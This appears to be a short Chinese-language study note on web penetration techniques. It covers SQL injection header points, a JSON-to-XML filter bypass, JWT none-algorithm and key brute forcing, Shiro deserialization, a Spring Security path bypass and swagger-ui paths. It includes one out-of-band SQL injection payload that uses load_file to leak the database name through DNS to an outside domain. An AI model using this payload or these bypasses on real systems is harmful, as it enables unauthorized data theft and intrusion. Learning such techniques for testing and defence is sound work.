# 学习sql注入进阶

在遇到json格式数据时，可以将json数据转换成xml数据进行绕过。它可能也接受xml数据，通过这种方式避开它的过滤。

## sql注入的几个常见注入点

1.X-Forwarded-For注入

2.UA头注入

3.cookie注入

4.refer头注入

## sql注入外带

使用load_file()函数会将数据放到指定路径，通过这种方式可以将数据保存到指定的地方，可以通过这个方式发到指定域名去解析

payload:' union select load_file(concat('\\',(select database()),'.yjjoxijrhw.yutu.eu.org\aa')),2,3#

# 学习jwt与shiro框架

jwt是一串JSON格式的数据加密得到的。jwt在后端会用一段确定的密钥加密，在获得到一段jwt数据后可以在在线平台解密，但是缺少加密的密钥因此后端无法正常解密。这个一般在cookie一栏。

### 攻击手法：

1.赌是不是空加密

2.爆破密钥

shiro是一个主要用来身份验证的框架，这个东西可能存在反序列化漏洞和未授权访问。这个在黑盒测试中数据包中的cookie可能有rememberme字段。

# 学习spring框架架构

### spring secure

http.authorizeHttpRequests()

.antMatchers("/").permitAll()

.antMatchers("/level1/**").hasRole("vip1")

.antMatchers("/level2/**").hasRole("vip2")

.antMatchers("/level3/**").hasRole("vip3") 这个框架若没有加*，可以在后面加路径的方式去绕过

## 学习swagger-ui

在springboot下的一个接口集成页面。 2.X访问路径：http://ip:port/swagger-ui.html

3.X访问路径：http://ip:port/swagger-ui/index.html